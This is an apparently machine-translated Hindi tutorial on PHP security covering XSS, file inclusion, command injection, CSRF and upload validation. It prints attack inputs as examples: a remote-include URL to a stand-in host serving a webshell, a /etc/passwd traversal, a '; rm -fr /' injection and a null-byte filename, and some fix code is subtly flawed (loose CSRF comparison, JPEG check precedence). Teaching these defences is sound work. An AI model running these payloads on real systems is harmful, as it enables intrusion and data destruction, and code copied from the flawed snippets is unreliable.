PHP
सुरक्षा
खोज…
परिचय
चूंकि अधिकांश वेबसाइटें PHP से चलती हैं, इसलिए एप्लिकेशन सुरक्षा PHP डेवलपर्स के लिए उनकी वेबसाइट, डेटा और क्लाइंट की सुरक्षा के लिए एक महत्वपूर्ण विषय है। यह विषय PHP में सर्वोत्तम सुरक्षा प्रथाओं के साथ-साथ सामान्य कमजोरियों और कमजोरियों को कवर करता है, उदाहरण के लिए PHP में सुधार।
टिप्पणियों
यह सभी देखें
त्रुटि की सूचना देना
यदि स्क्रिप्ट में कुछ अप्रत्याशित होता है तो डिफ़ॉल्ट रूप से PHP सीधे पेज पर त्रुटियों , चेतावनियों और नोटिस संदेशों को आउटपुट करेगा। यह एक स्क्रिप्ट के साथ विशिष्ट मुद्दों को हल करने के लिए उपयोगी है, लेकिन साथ ही यह उन सूचनाओं को आउटपुट करता है जो आप अपने उपयोगकर्ताओं को जानना नहीं चाहते हैं।
इसलिए उन संदेशों को प्रदर्शित करने से बचने के लिए यह अच्छा अभ्यास है जो आपके सर्वर के बारे में जानकारी का खुलासा करेंगे, उदाहरण के लिए, उत्पादन वातावरण में। एक विकास या परीक्षण वातावरण में ये संदेश डिबगिंग उद्देश्यों के लिए प्रदर्शित करने के लिए उपयोगी हो सकते हैं।
एक त्वरित समाधान
आप उन्हें बंद कर सकते हैं ताकि संदेश बिल्कुल न दिखें, हालांकि इससे आपकी स्क्रिप्ट को डीबग करना मुश्किल हो जाता है।
<?php
ini_set("display_errors", "0");
?>
या उन्हें सीधे php.ini में बदल दें।
display_errors = 0
त्रुटियों को संभालना
एक बेहतर विकल्प उन त्रुटि संदेशों को एक जगह पर संग्रहीत करना होगा जो वे डेटाबेस की तरह अधिक उपयोगी हैं:
set_error_handler(function($errno , $errstr, $errfile, $errline){
try{
$pdo = new PDO("mysql:host=hostname;dbname=databasename", 'dbuser', 'dbpwd', [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
]);
if($stmt = $pdo->prepare("INSERT INTO `errors` (no,msg,file,line) VALUES (?,?,?,?)")){
if(!$stmt->execute([$errno, $errstr, $errfile, $errline])){
throw new Exception('Unable to execute query');
}
} else {
throw new Exception('Unable to prepare query');
}
} catch (Exception $e){
error_log('Exception: ' . $e->getMessage() . PHP_EOL . "$errfile:$errline:$errno | $errstr");
}
});
यह विधि संदेशों को डेटाबेस में लॉग इन करेगी और अगर यह सीधे पेज में गूँजने के बजाय किसी फ़ाइल में विफल रहता है। इस तरह से आप ट्रैक कर सकते हैं कि उपयोगकर्ता आपकी वेबसाइट पर क्या अनुभव कर रहे हैं और कुछ गलत होने पर आपको तुरंत सूचित करें।
क्रॉस-साइट स्क्रिप्टिंग (XSS)
मुसीबत
क्रॉस-साइट स्क्रिप्टिंग एक वेब क्लाइंट द्वारा दूरस्थ कोड का अनपेक्षित निष्पादन है। यदि कोई उपयोगकर्ता से इनपुट लेता है और उसे सीधे किसी वेब पेज पर आउटपुट करता है, तो कोई भी वेब एप्लिकेशन XSS के सामने आ सकता है। यदि इनपुट में HTML या जावास्क्रिप्ट शामिल है, तो दूरस्थ कोड को तब निष्पादित किया जा सकता है जब यह सामग्री वेब क्लाइंट द्वारा प्रदान की जाती है।
उदाहरण के लिए, यदि तृतीय पक्ष पक्ष में कोई JavaScript फ़ाइल है:
// http://example.com/runme.js
document.write("I'm running");
और एक PHP अनुप्रयोग सीधे एक स्ट्रिंग को आउटपुट करता है जो इसमें उत्तीर्ण होता है:
<?php
echo '<div>' . $_GET['input'] . '</div>';
यदि किसी अनियंत्रित GET पैरामीटर में <script src="http://example.com/runme.js"></script>
तो PHP स्क्रिप्ट का आउटपुट होगा:
<div><script src="http://example.com/runme.js"></script></div>
तीसरी पार्टी जावास्क्रिप्ट चलेगी और उपयोगकर्ता वेब पेज पर "मैं चल रहा हूं" देखेंगे।
समाधान
एक सामान्य नियम के रूप में, क्लाइंट से आने वाले इनपुट पर कभी भरोसा न करें। हर GET, POST, और कुकी का मूल्य कुछ भी हो सकता है, और इसलिए इसे मान्य किया जाना चाहिए। जब इनमें से किसी भी मान का आउटपुट दिया जाता है, तो वे बच जाते हैं, इसलिए उनका मूल्यांकन अप्रत्याशित तरीके से नहीं किया जाएगा।
ध्यान रखें कि सबसे सरल अनुप्रयोगों में भी डेटा को इधर-उधर ले जाया जा सकता है और सभी स्रोतों पर नज़र रखना मुश्किल होगा। इसलिए आउटपुट से हमेशा बचना सबसे अच्छा अभ्यास है।
PHP संदर्भ के आधार पर आउटपुट से बचने के कुछ तरीके प्रदान करता है।
फ़िल्टर फ़ंक्शंस
PHPs फ़िल्टर फ़ंक्शंस php स्क्रिप्ट के इनपुट डेटा को कई तरीकों से सैनिटाइज़ या मान्य करने की अनुमति देता है । क्लाइंट इनपुट को सहेजते या आउटपुट करते समय वे उपयोगी होते हैं।
HTML एनकोडिंग
htmlspecialchars
किसी भी "HTML विशेष वर्ण" को उनके HTML एन्कोडिंग में परिवर्तित कर देगा, जिसका अर्थ है कि तब उन्हें मानक HTML के रूप में संसाधित नहीं किया जाएगा। इस विधि का उपयोग करके हमारे पिछले उदाहरण को ठीक करने के लिए:
<?php
echo '<div>' . htmlspecialchars($_GET['input']) . '</div>';
// or
echo '<div>' . filter_input(INPUT_GET, 'input', FILTER_SANITIZE_SPECIAL_CHARS) . '</div>';
उत्पादन होगा:
<div><script src="http://example.com/runme.js"></script></div>
<div>
टैग के अंदर सब कुछ ब्राउज़र द्वारा जावास्क्रिप्ट टैग के रूप में व्याख्या नहीं किया जाएगा, बल्कि एक साधारण पाठ नोड के रूप में। उपयोगकर्ता सुरक्षित रूप से देखेगा:
<script src="http://example.com/runme.js"></script>
URL एनकोडिंग
डायनामिक रूप से जेनरेट किए गए URL को आउटपुट करते समय, PHP urlencode
फ़ंक्शन को सुरक्षित URL को आउटपुट करने के लिए प्रदान करता है। इसलिए, उदाहरण के लिए, यदि कोई उपयोगकर्ता डेटा इनपुट करने में सक्षम है जो अन्य GET पैरामीटर का हिस्सा बन जाता है:
<?php
$input = urlencode($_GET['input']);
// or
$input = filter_input(INPUT_GET, 'input', FILTER_SANITIZE_URL);
echo '<a href="http://example.com/page?input="' . $input . '">Link</a>';
किसी भी दुर्भावनापूर्ण इनपुट को एन्कोडेड URL पैरामीटर में बदल दिया जाएगा।
विशेष बाहरी पुस्तकालयों या OWASP AntiSamy सूचियों का उपयोग करना
कभी-कभी आप HTML या अन्य प्रकार के कोड इनपुट भेजना चाहेंगे। आपको अधिकृत शब्दों (श्वेत सूची) और गैर-अधिकृत (ब्लैकलिस्ट) की सूची बनाए रखने की आवश्यकता होगी।
आप OWASP AntiSamy वेबसाइट पर उपलब्ध मानक सूची डाउनलोड कर सकते हैं। प्रत्येक सूची एक विशिष्ट प्रकार के इंटरैक्शन के लिए फिट है (ईबे एपी, स्मॉलमसीई, आदि ...)। और यह खुला स्रोत है।
HTML को फ़िल्टर करने के लिए और सामान्य मामले के लिए XSS हमलों को रोकने के लिए मौजूद लाइब्रेरी हैं और कम से कम एंटीस्माइ सूचियों के साथ बहुत आसान उपयोग करते हैं। उदाहरण के लिए आपके पास HTML शोधक है
फ़ाइल समावेशन
दूरस्थ फ़ाइल समावेश
रिमोट फाइल इंक्लूजन (जिसे RFI के रूप में भी जाना जाता है) एक प्रकार की भेद्यता है जो एक हमलावर को रिमोट फाइल को शामिल करने की अनुमति देती है।
यह उदाहरण एक दुर्भावनापूर्ण कोड वाली दूरस्थ होस्ट की गई फ़ाइल को इंजेक्ट करता है:
<?php
include $_GET['page'];
/vulnerable.php?page= http://evil.example.com/webshell.txt ?
स्थानीय फ़ाइल समावेशन
स्थानीय फ़ाइल समावेशन (LFI के रूप में भी जाना जाता है) वेब ब्राउज़र के माध्यम से सर्वर पर फ़ाइलों को शामिल करने की प्रक्रिया है।
<?php
$page = 'pages/'.$_GET['page'];
if(isset($page)) {
include $page;
} else {
include 'index.php';
}
/vulnerable.php?page=../../../../etc/passwd
RFI और LFI का समाधान:
इसे केवल उन फ़ाइलों की अनुमति देने की अनुशंसा की जाती है, जिन्हें आपने स्वीकृत किया है, और केवल उन तक ही सीमित है।
<?php
$page = 'pages/'.$_GET['page'].'.php';
$allowed = ['pages/home.php','pages/error.php'];
if(in_array($page,$allowed)) {
include($page);
} else {
include('index.php');
}
कमांड लाइन इंजेक्शन
मुसीबत
इसी तरह से कि SQL इंजेक्शन एक हमलावर को डेटाबेस पर मनमाने ढंग से प्रश्नों को निष्पादित करने की अनुमति देता है, कमांड-लाइन इंजेक्शन किसी को वेब सर्वर पर अविश्वसनीय सिस्टम कमांड चलाने की अनुमति देता है। एक अनुचित तरीके से सुरक्षित सर्वर के साथ यह एक हमलावर को एक सिस्टम पर पूरा नियंत्रण देगा।
मान लीजिए, उदाहरण के लिए, एक स्क्रिप्ट उपयोगकर्ता को वेब सर्वर पर निर्देशिका सामग्री को सूचीबद्ध करने की अनुमति देती है।
<pre>
<?php system('ls ' . $_GET['path']); ?>
</pre>
(एक वास्तविक दुनिया में एक व्यक्ति PHP के अंतर्निहित कार्यों या वस्तुओं का उपयोग करने के लिए पथ सामग्री प्राप्त करेगा। यह उदाहरण एक साधारण सुरक्षा प्रदर्शन के लिए है।)
एक /tmp
समान path
पैरामीटर प्राप्त करने की आशा करेगा। लेकिन जैसा कि किसी भी इनपुट की अनुमति है, path
हो सकता है ; rm -fr /
। वेब सर्वर तब कमांड निष्पादित करेगा
ls; rm -fr /
और सर्वर की जड़ से सभी फ़ाइलों को हटाने का प्रयास।
समाधान
सभी कमांड तर्कों को escapeshellarg()
या escapeshellcmd()
का उपयोग करके बच जाना चाहिए। यह तर्कों को गैर-निष्पादन योग्य बनाता है। प्रत्येक पैरामीटर के लिए, इनपुट मान भी मान्य होना चाहिए।
सबसे सरल मामले में, हम अपने उदाहरण को सुरक्षित कर सकते हैं
<pre>
<?php system('ls ' . escapeshellarg($_GET['path'])); ?>
</pre>
फ़ाइलों को हटाने के प्रयास के साथ पिछले उदाहरण के बाद, निष्पादित कमांड बन जाती है
ls '; rm -fr /'
और स्ट्रिंग को केवल ls
कमांड को समाप्त करने और rm
चलाने के बजाय ls
पैरामीटर के रूप में पास किया जाता है।
यह ध्यान दिया जाना चाहिए कि ऊपर दिया गया उदाहरण अब कमांड इंजेक्शन से सुरक्षित है, लेकिन निर्देशिका ट्रैवर्सल से नहीं। इसे ठीक करने के लिए, यह जांचा जाना चाहिए कि सामान्य पथ वांछित उप-निर्देशिका से शुरू होता है।
पीएचपी प्रणाली आदेश पर अमल करने के लिए काम करता है, सहित की एक किस्म प्रदान करता है exec
, passthru
, proc_open
, shell_exec
, और system
। सभी को अपने इनपुट को सावधानीपूर्वक सत्यापित और बचाना चाहिए।
PHP संस्करण रिसाव
डिफ़ॉल्ट रूप से, PHP दुनिया को बताएगी कि आप किस संस्करण का उपयोग कर रहे हैं, उदा
X-Powered-By: PHP/5.3.8
इसे ठीक करने के लिए आप php.ini को बदल सकते हैं:
expose_php = off
या हेडर बदलें:
header("X-Powered-By: Magic");
या यदि आप एक htaccess विधि पसंद करेंगे:
Header unset X-Powered-By
यदि उपर्युक्त विधियों में से कोई भी काम नहीं करता है, तो header_remove()
फ़ंक्शन भी है जो आपको शीर्ष लेख निकालने की क्षमता प्रदान करता है:
header_remove('X-Powered-By');
यदि हमलावरों को पता है कि आप PHP और PHP के संस्करण का उपयोग कर रहे हैं जो आप उपयोग कर रहे हैं, तो उनके लिए अपने सर्वर का उपयोग करना आसान है।
अलग करना टैग
अगर आप जानते हैं कि इसका उपयोग कैसे करना है, तो strip_tags
एक बहुत शक्तिशाली कार्य है। क्रॉस-साइट स्क्रिप्टिंग हमलों को रोकने के लिए एक विधि के रूप में बेहतर तरीके हैं, जैसे कि चरित्र एन्कोडिंग, लेकिन कुछ मामलों में स्ट्रिपिंग टैग उपयोगी है।
मूल उदाहरण
$string = '<b>Hello,<> please remove the <> tags.</b>';
echo strip_tags($string);
कच्चा आउटपुट
Hello, please remove the tags.
टैग लगाने की अनुमति
मान लें कि आप एक निश्चित टैग की अनुमति देना चाहते हैं, लेकिन कोई अन्य टैग नहीं है, तो आप इसे फ़ंक्शन के दूसरे पैरामीटर में निर्दिष्ट करेंगे। यह पैरामीटर वैकल्पिक है। मेरे मामले में मैं केवल <b>
टैग से गुजरना चाहता हूं।
$string = '<b>Hello,<> please remove the <br> tags.</b>';
echo strip_tags($string, '<b>');
कच्चा आउटपुट
<b>Hello, please remove the tags.</b>
सूचना (रों)
HTML
टिप्पणियाँ और PHP
टैग भी छीन लिए गए हैं। यह हार्डकोड किया गया है और स्वीकार्य_टैग के साथ नहीं बदला जा सकता है।
PHP
5.3.4 और बाद में, स्व-समापन XHTML
टैग को अनदेखा कर दिया जाता है और केवल गैर-स्व-क्लोजिंग टैग का उपयोग allowable_ags में किया जाना चाहिए। उदाहरण के लिए, <br>
और <br/>
दोनों की अनुमति देने के लिए, आपको उपयोग करना चाहिए:
<?php
strip_tags($input, '<br>');
?>
क्रॉस साइट अनुरोध जालसाजी
मुसीबत
क्रॉस-साइट रिक्वेस्ट फॉरेरी या CSRF
एक अंत उपयोगकर्ता को अनजाने में एक वेब सर्वर के लिए दुर्भावनापूर्ण अनुरोध उत्पन्न करने के लिए मजबूर कर सकता है। यह हमला वेक्टर POST और GET दोनों अनुरोधों में किया जा सकता है। उदाहरण के लिए मान लें कि url समापन बिंदु /delete.php?accnt=12
एक GET अनुरोध के accnt
पैरामीटर से पारित होने के accnt
खाता हटाता है। अब अगर कोई प्रमाणित उपयोगकर्ता किसी अन्य एप्लिकेशन में निम्नलिखित स्क्रिप्ट का सामना करेगा
<img src="http://domain.com/delete.php?accnt=12" width="0" height="0" border="0">
खाता हटा दिया जाएगा।
समाधान
इस समस्या का एक सामान्य समाधान CSRF टोकन का उपयोग है। CSRF टोकन अनुरोधों में एम्बेड किए जाते हैं ताकि एक वेब एप्लिकेशन यह भरोसा कर सके कि एप्लिकेशन के सामान्य वर्कफ़्लो के हिस्से के रूप में एक अनुरोध अपेक्षित स्रोत से आया है। पहले उपयोगकर्ता कुछ कार्रवाई करता है, जैसे कि एक फॉर्म को देखना, जो एक अद्वितीय टोकन के निर्माण को ट्रिगर करता है। इसे लागू करने वाला एक नमूना रूप जैसा लग सकता है
<form method="get" action="/delete.php">
<input type="text" name="accnt" placeholder="accnt number" />
<input type="hidden" name="csrf_token" value="<randomToken>" />
<input type="submit" />
</form>
दुर्भावनापूर्ण अनुरोधों को समाप्त करने के लिए फ़ॉर्म उपयोगकर्ता द्वारा सत्र के बाद टोकन को फिर से मान्य किया जा सकता है।
नमूना कोड
एक बुनियादी कार्यान्वयन के लिए नमूना कोड यहां दिया गया है:
/* Code to generate a CSRF token and store the same */
...
<?php
session_start();
function generate_token() {
// Check if a token is present for the current session
if(!isset($_SESSION["csrf_token"])) {
// No token present, generate a new one
$token = random_bytes(64);
$_SESSION["csrf_token"] = $token;
} else {
// Reuse the token
$token = $_SESSION["csrf_token"];
}
return $token;
}
?>
<body>
<form method="get" action="/delete.php">
<input type="text" name="accnt" placeholder="accnt number" />
<input type="hidden" name="csrf_token" value="<?php echo generate_token();?>" />
<input type="submit" />
</form>
</body>
...
/* Code to validate token and drop malicious requests */
...
<?php
session_start();
if ($_GET["csrf_token"] != $_SESSION["csrf_token"]) {
// Reset token
unset($_SESSION["csrf_token"]);
die("CSRF token validation failed");
}
?>
...
कई पुस्तकालय और रूपरेखाएँ पहले से ही उपलब्ध हैं जिनका सीएसआरएफ सत्यापन का अपना कार्यान्वयन है। हालांकि यह CSRF का सरल कार्यान्वयन है, आपको CSRF टोकन चोरी और निर्धारण से रोकने के लिए अपने CSRF टोकन को गतिशील रूप से पुनर्जीवित करने के लिए कुछ कोड लिखने की आवश्यकता है।
फाइलें अपलोड कर रहा है
यदि आप चाहते हैं कि उपयोगकर्ता आपके सर्वर पर फ़ाइलें अपलोड करें तो आपको अपलोड की गई फ़ाइल को वास्तव में अपनी वेब निर्देशिका में स्थानांतरित करने से पहले कुछ सुरक्षा जांच करने की आवश्यकता है।
अपलोड किया गया डेटा:
इस सरणी में उपयोगकर्ता द्वारा जमा किया गया डेटा है और यह फ़ाइल के बारे में जानकारी नहीं है। जबकि आमतौर पर यह डेटा ब्राउज़र द्वारा जनरेट किया जाता है, एक व्यक्ति सॉफ्टवेयर का उपयोग करके उसी फॉर्म में आसानी से पोस्ट रिक्वेस्ट कर सकता है।
$_FILES['file']['name'];
$_FILES['file']['type'];
$_FILES['file']['size'];
$_FILES['file']['tmp_name'];
-
name
- इसके हर पहलू की पुष्टि करें। -
type
- इस डेटा का उपयोग कभी न करें। इसके बजाय PHP फ़ंक्शन का उपयोग करके इसे लाया जा सकता है। -
size
- उपयोग करने के लिए सुरक्षित। -
tmp_name
- उपयोग करने के लिए सुरक्षित।
फ़ाइल नाम का शोषण
आम तौर पर ऑपरेटिंग सिस्टम एक फ़ाइल नाम में विशिष्ट वर्णों की अनुमति नहीं देता है, लेकिन अनुरोध को खराब करके आप उन्हें अप्रत्याशित चीजों के लिए अनुमति दे सकते हैं। उदाहरण के लिए, फ़ाइल को नाम देता है:
../script.php%00.png
उस फ़ाइलनाम को अच्छे से देख लें और आपको कुछ बातों पर ध्यान देना चाहिए।
- पहली बार नोटिस
../
, एक फ़ाइल नाम में पूरी तरह से अवैध है और एक ही समय में पूरी तरह से ठीक है अगर आप एक फ़ाइल को 1 निर्देशिका से दूसरे में स्थानांतरित कर रहे हैं, जिसे हम सही करने जा रहे हैं? - अब आप सोच सकते हैं आप अपनी स्क्रिप्ट में ठीक से फ़ाइल एक्सटेंशन की पुष्टि करने थे, लेकिन इस का फायदा उठाने यूआरएल डिकोडिंग पर निर्भर करता है, का अनुवाद
%00
एक के लिएnull
चरित्र, मूल रूप से, ऑपरेटिंग सिस्टम के लिए कह रही है, यहाँ इस स्ट्रिंग समाप्त हो जाती है बंद अलग करना.png
फ़ाइल नाम बंद ।
तो अब मैंने script.php
को एक और डायरेक्टरी में अपलोड किया है, फाइल एक्सटेंशनों के लिए सरल सत्यापन पास करके। यह आपके अपलोड निर्देशिका के भीतर से निष्पादित की जाने वाली स्क्रिप्ट को बंद करके .htaccess
फ़ाइलों को भी पास करता है।
फ़ाइल का नाम और एक्सटेंशन सुरक्षित रूप से प्राप्त करना
आप एक सुरक्षित तरीके से नाम और एक्सटेंशन को एक्सट्रपलेशन करने के लिए pathinfo()
का उपयोग कर सकते हैं लेकिन पहले हमें फाइल में अवांछित पात्रों को बदलने की आवश्यकता है:
// This array contains a list of characters not allowed in a filename
$illegal = array_merge(array_map('chr', range(0,31)), ["<", ">", ":", '"', "/", "\\", "|", "?", "*", " "]);
$filename = str_replace($illegal, "-", $_FILES['file']['name']);
$pathinfo = pathinfo($filename);
$extension = $pathinfo['extension'] ? $pathinfo['extension']:'';
$filename = $pathinfo['filename'] ? $pathinfo['filename']:'';
if(!empty($extension) && !empty($filename)){
echo $filename, $extension;
} else {
die('file is missing an extension or name');
}
जबकि अब हमारे पास एक फ़ाइल नाम और एक्सटेंशन है जिसका उपयोग भंडारण के लिए किया जा सकता है, मैं अभी भी डेटाबेस में उस जानकारी को संग्रहीत करना पसंद करता हूं और उस फ़ाइल को उदाहरण के लिए एक उत्पन्न नाम देता md5(uniqid().microtime())
, md5(uniqid().microtime())
+----+--------+-----------+------------+------+----------------------------------+---------------------+
| id | title | extension | mime | size | filename | time |
+----+--------+-----------+------------+------+----------------------------------+---------------------+
| 1 | myfile | txt | text/plain | 1020 | 5bcdaeddbfbd2810fa1b6f3118804d66 | 2017-03-11 00:38:54 |
+----+--------+-----------+------------+------+----------------------------------+---------------------+
यह डुप्लिकेट फ़ाइल नामों और फ़ाइल नाम में अनपेक्षित कारनामों के मुद्दे को हल करेगा। यह हमलावर को यह अनुमान लगाने का भी कारण होगा कि उस फ़ाइल को कहाँ संग्रहीत किया गया है क्योंकि वह विशेष रूप से निष्पादन के लिए इसे लक्षित नहीं कर सकता है।
माइम-प्रकार सत्यापन
एक फ़ाइल एक्सटेंशन की जाँच करना यह निर्धारित करने के लिए कि क्या फ़ाइल पर्याप्त नहीं है क्योंकि एक फ़ाइल का नाम image.png
हो सकता है लेकिन इसमें बहुत अच्छी तरह से php स्क्रिप्ट हो सकती है। फ़ाइल एक्सटेंशन के खिलाफ अपलोड किए गए फ़ाइल के माइम-प्रकार की जांच करके आप यह सत्यापित कर सकते हैं कि फ़ाइल में उसका नाम क्या है।
आप छवियों को मान्य करने के लिए 1 कदम आगे भी जा सकते हैं, और यह वास्तव में उन्हें खोल रहा है:
if($mime == 'image/jpeg' && $extension == 'jpeg' || $extension == 'jpg'){
if($img = imagecreatefromjpeg($filename)){
imagedestroy($img);
} else {
die('image failed to open, could be corrupt or the file contains something else.');
}
}
आप बिल्ड-इन फ़ंक्शन या क्लास का उपयोग करके माइम-प्रकार प्राप्त कर सकते हैं।
व्हाइट आपके अपलोड को सूचीबद्ध करता है
सबसे महत्वपूर्ण बात, आपको प्रत्येक फॉर्म के आधार पर फाइल एक्सटेंशन और माइम के प्रकार को सफेद करना चाहिए।
function isFiletypeAllowed($extension, $mime, array $allowed)
{
return isset($allowed[$mime]) &&
is_array($allowed[$mime]) &&
in_array($extension, $allowed[$mime]);
}
$allowedFiletypes = [
'image/png' => [ 'png' ],
'image/gif' => [ 'gif' ],
'image/jpeg' => [ 'jpg', 'jpeg' ],
];
var_dump(isFiletypeAllowed('jpg', 'image/jpeg', $allowedFiletypes));